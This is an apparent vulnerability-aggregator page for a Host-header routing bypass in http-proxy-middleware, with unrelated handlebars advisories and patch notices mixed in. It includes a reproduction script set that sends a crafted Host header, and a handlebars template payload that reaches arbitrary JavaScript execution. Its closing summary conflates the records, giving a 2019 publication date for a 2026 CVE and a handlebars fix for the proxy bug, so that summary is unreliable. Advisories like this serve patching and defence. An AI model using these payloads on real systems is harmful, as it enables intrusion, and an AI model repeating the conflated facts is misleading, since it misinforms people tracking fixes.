CVE-2026-55602
http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass
http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.9
http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass
http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.
- Record
CVE-2026-55602- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-20, CWE-187
- Updated
- 2026-11-02
EUVDEUVD-2026-38300
6.9
http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.
- Record
EUVD-2026-38300- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2cf5-4w76-r9qv
7.3
Arbitrary Code Execution in handlebars
Versions of handlebars prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).
The following template can be used to demonstrate the vulnerability:
{{#with split as |a|}}
{{pop (push "alert('Vulnerable Handlebars JS');")}}
{{#with (concat (lookup join (slice 0 1)))}}
{{#each (slice 2 3)}}
{{#with (apply 0 a)}}
{{.}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}```
## Recommendation
Upgrade to version 3.0.8, 4.5.2 or later.
- Record
GHSA-2cf5-4w76-r9qv- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L - Weakness
- CWE-94
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-64mm-vxmg-q3vj
6.9
http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass
Summary
http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.
Details
Tested code state:
- validated on tag
v4.0.0-beta.5 - corresponding commit:
339f09ede860197807d4fd99ed9020fa5d0bd358
Relevant code locations:
src/router.tssrc/http-proxy-middleware.ts
Affected public API:
createProxyMiddleware({ router: { 'host/path': 'http://target' } })
Code explanation:
When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:
hostAndPath.indexOf(key) > -1
That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:
localhost:3000/api
but the attacker-controlled host is:
evillocalhost:3000
and the request path is:
/api
The concatenated attacker-controlled string:
evillocalhost:3000/api
still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.
Exploit path:
- the application enables the documented proxy-table
routerfeature with at least one host+path rule - an external attacker sends an ordinary HTTP request with a crafted
Hostheader HttpProxyMiddleware.prepareProxyRequest()applies router selection before proxyinggetTargetFromProxyTable()accepts the craftedHost + pathstring through substring matching- the request is proxied to the wrong backend
PoC
Create these files in the same working directory and run:
bash ./run.sh
File: run.sh
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"
cleanup() {
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"
mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"
echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"
echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs
File: Dockerfile
FROM node:22-bullseye
WORKDIR /work
COPY repo/package.json repo/yarn.lock /work/repo/
RUN corepack enable \
&& cd /work/repo \
&& yarn install --frozen-lockfile
COPY repo /work/repo
RUN cd /work/repo && yarn build
COPY reproduction /work/reproduction
File: verify.mjs
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';
import { createProxyMiddleware } from '/work/repo/dist/index.js';
const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';
function listen(server, port) {
return new Promise((resolve) => {
server.listen(port, '127.0.0.1', () => resolve());
});
}
function close(server) {
return new Promise((resolve, reject) => {
server.close((err) => {
if (err) {
reject(err);
return;
}
resolve();
});
});
}
function request(path, host) {
return new Promise((resolve, reject) => {
const req = http.request(
{
host: '127.0.0.1',
…
- Record
GHSA-64mm-vxmg-q3vj- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-20, CWE-187
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-q42p-pg8m-cqh6
7.3
Prototype Pollution in handlebars
Versions of handlebars prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.
Recommendation
For handlebars 4.1.x upgrade to 4.1.2 or later. For handlebars 4.0.x upgrade to 4.0.14 or later.
- Record
GHSA-q42p-pg8m-cqh6- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-471
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-g9r4-xpmj-mj65 No score
Prototype Pollution in handlebars
Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.
Recommendation
Upgrade to version 3.0.8, 4.5.3 or later.
- Record
GHSA-g9r4-xpmj-mj65- Weakness
- CWE-1321
- Updated
- 2026-11-02
Show 27 moreShow less
GitHub AdvisoriesGHSA-q2c6-c6pm-g3gh No score
Arbitrary Code Execution in handlebars
Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a previous issue. This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).
Recommendation
Upgrade to version 3.0.8, 4.5.3 or later.
- Record
GHSA-q2c6-c6pm-g3gh- Updated
- 2026-11-02
NVD
6.9
http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.
- Record
CVE-2026-55602- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 8.6 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N - Weakness
- CWE-20, CWE-187
- Updated
- 2026-11-02
OSV
6.9
http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass
http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.
- Record
CVE-2026-55602- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-187, CWE-20
- Updated
- 2026-11-02
OSVGHSA-2cf5-4w76-r9qv
7.3
Arbitrary Code Execution in handlebars
Versions of handlebars prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).
The following template can be used to demonstrate the vulnerability:
{{#with split as |a|}}
{{pop (push "alert('Vulnerable Handlebars JS');")}}
{{#with (concat (lookup join (slice 0 1)))}}
{{#each (slice 2 3)}}
{{#with (apply 0 a)}}
{{.}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}```
## Recommendation
Upgrade to version 3.0.8, 4.5.2 or later.
- Record
GHSA-2cf5-4w76-r9qv- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-64mm-vxmg-q3vj
6.9
http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass
Summary
http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.
Details
Tested code state:
- validated on tag
v4.0.0-beta.5 - corresponding commit:
339f09ede860197807d4fd99ed9020fa5d0bd358
Relevant code locations:
src/router.tssrc/http-proxy-middleware.ts
Affected public API:
createProxyMiddleware({ router: { 'host/path': 'http://target' } })
Code explanation:
When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:
hostAndPath.indexOf(key) > -1
That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:
localhost:3000/api
but the attacker-controlled host is:
evillocalhost:3000
and the request path is:
/api
The concatenated attacker-controlled string:
evillocalhost:3000/api
still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.
Exploit path:
- the application enables the documented proxy-table
routerfeature with at least one host+path rule - an external attacker sends an ordinary HTTP request with a crafted
Hostheader HttpProxyMiddleware.prepareProxyRequest()applies router selection before proxyinggetTargetFromProxyTable()accepts the craftedHost + pathstring through substring matching- the request is proxied to the wrong backend
PoC
Create these files in the same working directory and run:
bash ./run.sh
File: run.sh
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"
cleanup() {
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"
mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"
echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"
echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs
File: Dockerfile
FROM node:22-bullseye
WORKDIR /work
COPY repo/package.json repo/yarn.lock /work/repo/
RUN corepack enable \
&& cd /work/repo \
&& yarn install --frozen-lockfile
COPY repo /work/repo
RUN cd /work/repo && yarn build
COPY reproduction /work/reproduction
File: verify.mjs
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';
import { createProxyMiddleware } from '/work/repo/dist/index.js';
const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';
function listen(server, port) {
return new Promise((resolve) => {
server.listen(port, '127.0.0.1', () => resolve());
});
}
function close(server) {
return new Promise((resolve, reject) => {
server.close((err) => {
if (err) {
reject(err);
return;
}
resolve();
});
});
}
function request(path, host) {
return new Promise((resolve, reject) => {
const req = http.request(
{
host: '127.0.0.1',
…
- Record
GHSA-64mm-vxmg-q3vj- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-187, CWE-20
- Updated
- 2026-11-02
OSVGHSA-q42p-pg8m-cqh6
7.3
Prototype Pollution in handlebars
Versions of handlebars prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects' prototype, thus allowing an attacker to execute arbitrary code on the server.
Recommendation
For handlebars 4.1.x upgrade to 4.1.2 or later. For handlebars 4.0.x upgrade to 4.0.14 or later.
- Record
GHSA-q42p-pg8m-cqh6- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Weakness
- CWE-471
- Updated
- 2026-11-02
OSVCLSA-2026-1774743817 No score
TuxCare security update for handlebars (1 CVE)
TuxCare rebuilt handlebars to address 1 CVE. Fixed in 1.3.0-tuxcare.1.
- Record
CLSA-2026-1774743817- Updated
- 2026-11-02
OSVCLSA-2026-1774743830 No score
TuxCare security update for handlebars (3 CVEs)
TuxCare rebuilt handlebars to address 3 CVEs. Fixed in 1.0.12-tuxcare.2.
- Record
CLSA-2026-1774743830- Updated
- 2026-11-02
OSVCLSA-2026-1783991046 No score
TuxCare security update for http-proxy-middleware (3 CVEs)
TuxCare rebuilt http-proxy-middleware to address 3 CVEs. Fixed in 3.0.3-tuxcare.1.
- Record
CLSA-2026-1783991046- Updated
- 2026-11-02
OSVCLSA-2026-1784509824 No score
TuxCare security update for http-proxy-middleware (1 CVE)
TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 2.0.7-tuxcare.3.
- Record
CLSA-2026-1784509824- Updated
- 2026-11-02
OSVCLSA-2026-1786731948 No score
TuxCare security update for dompurify (34 CVEs)
TuxCare rebuilt dompurify to address 34 CVEs. Fixed in 3.0.3-tuxcare.1.
- Record
CLSA-2026-1786731948- Updated
- 2026-11-02
OSVCLSA-2026-1788806507 No score
TuxCare security update for http-proxy-middleware (1 CVE)
TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 0.17.2-tuxcare.2.
- Record
CLSA-2026-1788806507- Updated
- 2026-11-02
OSVCLSA-2026-1788806602 No score
TuxCare security update for http-proxy-middleware (1 CVE)
TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 0.18.0-tuxcare.2.
- Record
CLSA-2026-1788806602- Updated
- 2026-11-02
OSVCLSA-2026-1788806634 No score
TuxCare security update for http-proxy-middleware (1 CVE)
TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 0.17.3-tuxcare.2.
- Record
CLSA-2026-1788806634- Updated
- 2026-11-02
OSVCLSA-2026-1788867095 No score
TuxCare security update for http-proxy-middleware (1 CVE)
TuxCare rebuilt http-proxy-middleware to address 1 CVE. Fixed in 0.19.1-tuxcare.3.
- Record
CLSA-2026-1788867095- Updated
- 2026-11-02
OSVCLSA-2026-1792000560 No score
TuxCare security update for http-proxy-middleware (2 CVEs)
TuxCare rebuilt http-proxy-middleware to address 2 CVEs. Fixed in 4.0.0-tuxcare.1.
- Record
CLSA-2026-1792000560- Updated
- 2026-11-02
OSVCLSA-2026-1792449353 No score
TuxCare security update for http-proxy-middleware (2 CVEs)
TuxCare rebuilt http-proxy-middleware to address 2 CVEs. Fixed in 3.0.5-tuxcare.1.
- Record
CLSA-2026-1792449353- Updated
- 2026-11-02
OSVGHSA-g9r4-xpmj-mj65 No score
Prototype Pollution in handlebars
Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.
Recommendation
Upgrade to version 3.0.8, 4.5.3 or later.
- Record
GHSA-g9r4-xpmj-mj65- Weakness
- CWE-1321
- Updated
- 2026-11-02
OSVGHSA-q2c6-c6pm-g3gh No score
Arbitrary Code Execution in handlebars
Versions of handlebars prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a previous issue. This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).
Recommendation
Upgrade to version 3.0.8, 4.5.3 or later.
- Record
GHSA-q2c6-c6pm-g3gh- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11680-1 No score
agama-web-ui-24+0.a836cced5-52.1 on GA media
These are all security issues fixed in the agama-web-ui-24+0.a836cced5-52.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11680-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:12070-1 No score
velociraptor-0.76.7.0.git145.b60ef1146-1.1 on GA media
These are all security issues fixed in the velociraptor-0.76.7.0.git145.b60ef1146-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:12070-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21448-1 No score
Security update for agama-web-ui
This update for agama-web-ui fixes the following issues:
- CVE-2025-7783: form-data: unsafe
Math.random()function is used to select a boundary value for multipart form-encoded data (bsc#1246822). - CVE-2026-12143: form-data: CRLF injection via unescaped multipart field names and filenames (bsc#1272310).
- CVE-2026-13149: brace-expansion:
expand()function exhibits exponential-time complexity when processing non-expanding{}brace groups (bsc#1269927). - CVE-2026-13311: shell-quote: quadratic complexity in
parse()function when processing specially crafted strings (bsc#1269359). - CVE-2026-13676: fast-uri: host-based policy bypass due to failure to canonicalize Unicode/IDN hostnames for HTTP-family URLs (bsc#1269595).
- CVE-2026-27601: underscore: DoS via stack overflow due to missing depth limits in
_.flattenand_.isEqualfunctions (bsc#1259169). - CVE-2026-40181: react-router: open redirect to an external domain due to path values starting with
//being reinterpreted as protocol-relative URLs (bsc#1272311). - CVE-2026-49356: @babel/core: arbitrary file read via
sourceMappingURLcomment (bsc#1272317). - CVE-2026-53550: js-yaml: quadratic complexity in merge-key processing when processing a crafted YAML document (bsc#1268851).
- CVE-2026-53632: launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows (bsc#1272319).
- CVE-2026-54466: websocket-driver: message corruption via abuse of protocol length headers (bsc#1272312).
- CVE-2026-54490: websocket-driver: resource limit bypass via message compression (bsc#1272313).
- CVE-2026-55602: http-proxy-middleware: Host-header-driven backend routing bypass via
routerhost+path substring matching (bsc#1272318).
- Record
openSUSE-SU-2026:21448-1- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-55602 No score
CVE-2026-55602 in @rootio/http-proxy-middleware - Patched by Root
Root has patched CVE-2026-55602 in the @rootio/http-proxy-middleware package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-55602- Updated
- 2026-11-02
OSVROOT-APP-NPM-GHSA-2cf5-4w76-r9qv No score
GHSA-2cf5-4w76-r9qv in handlebars - Patched by Root
Root has patched GHSA-2cf5-4w76-r9qv in the handlebars package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-GHSA-2cf5-4w76-r9qv- Updated
- 2026-11-02
OSVROOT-APP-NPM-GHSA-g9r4-xpmj-mj65 No score
GHSA-g9r4-xpmj-mj65 in handlebars - Patched by Root
Root has patched GHSA-g9r4-xpmj-mj65 in the handlebars package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-GHSA-g9r4-xpmj-mj65- Updated
- 2026-11-02
OSVROOT-APP-NPM-GHSA-q2c6-c6pm-g3gh No score
GHSA-q2c6-c6pm-g3gh in handlebars - Patched by Root
Root has patched GHSA-q2c6-c6pm-g3gh in the handlebars package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-GHSA-q2c6-c6pm-g3gh- Updated
- 2026-11-02
OSVROOT-APP-NPM-GHSA-q42p-pg8m-cqh6 No score
GHSA-q42p-pg8m-cqh6 in handlebars - Patched by Root
Root has patched GHSA-q42p-pg8m-cqh6 in the handlebars package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-GHSA-q42p-pg8m-cqh6- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
handlebarsnpm |
before 3.0.8 | 3.0.8 |
handlebarsnpm |
4.0.0 up to 4.5.2 | 4.5.2 |
http-proxy-middlewarenpm |
4.0.0 up to 4.1.0 | 4.1.0 |
http-proxy-middlewarenpm |
3.0.0 up to 3.0.6 | 3.0.6 |
http-proxy-middlewarenpm |
0.16.0 up to 2.0.10 | 2.0.10 |
handlebarsnpm |
4.0.0 up to 4.5.3 | 4.5.3 |
handlebarsnpm |
4.1.0 up to 4.1.2 | 4.1.2 |
handlebarsnpm |
4.0.0 up to 4.0.14 | 4.0.14 |
handlebarsnpm |
before 3.0.7 | 3.0.7 |
handlebarsTuxCare:npm |
1.3.0-tuxcare.0 up to 1.3.0-tuxcare.1, plus listed versions 1.3.0 |
1.3.0-tuxcare.1 |
Show 18 moreShow less
| Package | Affected | Fixed |
|---|---|---|
handlebarsTuxCare:npm |
1.0.12-tuxcare.0 up to 1.0.12-tuxcare.2, plus listed versions 1.0.121.0.12-tuxcare.1 |
1.0.12-tuxcare.2 |
http-proxy-middlewareTuxCare:npm From an advisory covering 3 CVEs |
3.0.3-tuxcare.0 up to 3.0.3-tuxcare.1, plus listed versions 3.0.3 |
3.0.3-tuxcare.1 |
http-proxy-middlewareTuxCare:npm |
2.0.7-tuxcare.0 up to 2.0.7-tuxcare.3, plus listed versions 2.0.72.0.7-tuxcare.12.0.7-tuxcare.2 |
2.0.7-tuxcare.3 |
http-proxy-middlewareTuxCare:npm |
0.17.2-tuxcare.0 up to 0.17.2-tuxcare.2, plus listed versions 0.17.20.17.2-tuxcare.1 |
0.17.2-tuxcare.2 |
http-proxy-middlewareTuxCare:npm |
0.18.0-tuxcare.0 up to 0.18.0-tuxcare.2, plus listed versions 0.18.00.18.0-tuxcare.1 |
0.18.0-tuxcare.2 |
http-proxy-middlewareTuxCare:npm |
0.17.3-tuxcare.0 up to 0.17.3-tuxcare.2, plus listed versions 0.17.30.17.3-tuxcare.1 |
0.17.3-tuxcare.2 |
http-proxy-middlewareTuxCare:npm |
0.19.1-tuxcare.0 up to 0.19.1-tuxcare.3, plus listed versions 0.19.10.19.1-tuxcare.10.19.1-tuxcare.2 |
0.19.1-tuxcare.3 |
http-proxy-middlewareTuxCare:npm From an advisory covering 2 CVEs |
4.0.0-tuxcare.0 up to 4.0.0-tuxcare.1, plus listed versions 4.0.0 |
4.0.0-tuxcare.1 |
http-proxy-middlewareTuxCare:npm From an advisory covering 2 CVEs |
3.0.5-tuxcare.0 up to 3.0.5-tuxcare.1, plus listed versions 3.0.5 |
3.0.5-tuxcare.1 |
@rootio/http-proxy-middlewareRoot:npm |
before 2.0.9-root.io.1 | 2.0.9-root.io.10.19.1-root.io.32.0.7-root.io.13.0.5-root.io.2 |
http-proxy-middlewareRoot:npm |
before 2.0.9-aikido.1 | 2.0.9-aikido.10.19.1-aikido.32.0.7-aikido.13.0.5-aikido.2 |
handlebarsRoot:npm |
before 3.0.7-aikido.3 | 3.0.7-aikido.33.0.3-aikido.23.0.8-aikido.13.0.8-aikido.2 |
@rootio/handlebarsRoot:npm |
before 3.0.7-root.io.3 | 3.0.7-root.io.33.0.3-root.io.23.0.8-root.io.13.0.8-root.io.2 |
handlebarsRoot:npm |
before 3.0.3-aikido.2 | 3.0.3-aikido.23.0.7-aikido.13.0.7-aikido.23.0.7-aikido.3 |
@rootio/handlebarsRoot:npm |
before 3.0.3-root.io.2 | 3.0.3-root.io.23.0.7-root.io.13.0.7-root.io.23.0.7-root.io.3 |
agama-web-uiopenSUSE:Tumbleweed From an advisory covering 19 CVEs |
before 24+0.a836cced5-52.1 | 24+0.a836cced5-52.1 |
velociraptoropenSUSE:Tumbleweed From an advisory covering 40 CVEs |
before 0.76.7.0.git145.b60ef1146-1.1 | 0.76.7.0.git145.b60ef1146-1.1 |
agama-web-uiopenSUSE:Leap 16.0 From an advisory covering 13 CVEs |
before 17+673.b97ba64d6-160000.12.1 | 17+673.b97ba64d6-160000.12.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| facts | ||
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55602 is a medium vulnerability (CVSS 6.9) in Chimurai Http-proxy-middleware, published June 5, 2019. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.38%, the 31st percentile. Fixed in handlebars 3.0.8.
References
github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj
npmjs.com/advisories/1316
github.com/advisories/GHSA-2cf5-4w76-r9qv
github.com/advisories/GHSA-64mm-vxmg-q3vj
npmjs.com/advisories/1325
github.com/advisories/GHSA-g9r4-xpmj-mj65
Show 83 moreShow less
npmjs.com/advisories/1324
github.com/advisories/GHSA-q2c6-c6pm-g3gh
github.com/handlebars-lang/handlebars.js/issues/1495
github.com/handlebars-lang/handlebars.js/commit/7372d4e9dffc9d70c09671aa28b9392a1577fd86
snyk.io/vuln/SNYK-JS-HANDLEBARS-173692
npmjs.com/advisories/755
github.com/handlebars-lang/handlebars.js/commit/0d6d8c335ad81bad1b672fc56b6a44f6aa472dac
github.com/handlebars-lang/handlebars.js/commit/85c8783b34fc6d36145d8b53885ad0b9e3c3f9c4
github.com/handlebars-lang/handlebars.js/commit/cd38583216dce3252831916323202749431c773e
github.com/advisories/GHSA-q42p-pg8m-cqh6
github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55602.json
nvd.nist.gov/vuln/detail/CVE-2026-55602
github.com/chimurai/http-proxy-middleware
suse.com/security/cve/CVE-2025-7783
suse.com/security/cve/CVE-2026-13149
suse.com/security/cve/CVE-2026-13676
suse.com/security/cve/CVE-2026-33245
suse.com/security/cve/CVE-2026-49356
suse.com/security/cve/CVE-2026-53550
suse.com/security/cve/CVE-2026-53632
suse.com/security/cve/CVE-2026-54466
suse.com/security/cve/CVE-2026-55602
suse.com/security/cve/CVE-2026-67313
suse.com/security/cve/CVE-2026-67315
suse.com/security/cve/CVE-2026-67317
suse.com/security/cve/CVE-2026-67319
suse.com/security/cve/CVE-2026-67321
suse.com/security/cve/CVE-2026-69153
suse.com/security/cve/CVE-2026-73086
suse.com/security/cve/CVE-2026-73088
suse.com/security/cve/CVE-2026-73089
suse.com/security/cve/CVE-2026-73650
suse.com/security/cve/CVE-2025-0914
suse.com/security/cve/CVE-2026-12143
suse.com/security/cve/CVE-2026-14257
suse.com/security/cve/CVE-2026-17535
suse.com/security/cve/CVE-2026-18348
suse.com/security/cve/CVE-2026-18636
suse.com/security/cve/CVE-2026-18638
suse.com/security/cve/CVE-2026-18639
suse.com/security/cve/CVE-2026-18860
suse.com/security/cve/CVE-2026-27601
suse.com/security/cve/CVE-2026-29074
suse.com/security/cve/CVE-2026-41650
suse.com/security/cve/CVE-2026-45623
suse.com/security/cve/CVE-2026-5329
suse.com/security/cve/CVE-2026-56852
suse.com/security/cve/CVE-2026-59869
suse.com/security/cve/CVE-2026-6290
suse.com/security/cve/CVE-2026-64951
suse.com/security/cve/CVE-2026-64952
suse.com/security/cve/CVE-2026-64954
